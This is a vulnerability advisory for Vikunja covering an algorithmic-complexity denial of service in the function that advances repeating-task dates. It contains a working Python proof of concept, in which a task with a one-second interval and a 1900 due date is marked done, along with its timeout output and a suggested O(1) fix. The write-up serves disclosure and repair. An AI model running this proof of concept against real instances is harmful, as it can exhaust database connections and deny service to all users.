Vikunja has Algorithmic Complexity DoS in Repeating Task Handler

Summary

The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.

Details

The vulnerable function at pkg/models/tasks.go:1456-1464:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    for {
        t = t.Add(duration)
        if t.After(now) {
            break
        }
    }
    return t
}

The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeat_after=1 and due_date=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).

Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests, time

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()

# create task with repeat_after=1 second and a date far in the past
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h,
    json={"title": "DoS", "repeat_after": 1,
          "due_date": "1900-01-01T00:00:00Z"}).json()

# mark done - triggers the vulnerable loop
start = time.time()
try:
    r = requests.post(f"{API}/tasks/{task['id']}", headers=h,
        json={"title": "DoS", "done": True}, timeout=120)
    print(f"Response: {r.status_code} in {time.time()-start:.1f}s")
except requests.exceptions.Timeout:
    print(f"TIMEOUT after {time.time()-start:.1f}s")

Output:

TIMEOUT after 60.0s

The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, due_date=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.

Impact

Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.

Recommended Fix

Replace the O(n) loop with O(1) arithmetic:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    if duration <= 0 {
        return t
    }
    diff := now.Sub(t)
    if diff <= 0 {
        return t.Add(duration)
    }
    intervals := int64(diff/duration) + 1
    return t.Add(time.Duration(intervals) * duration)
}

Found and reported by aisafe.io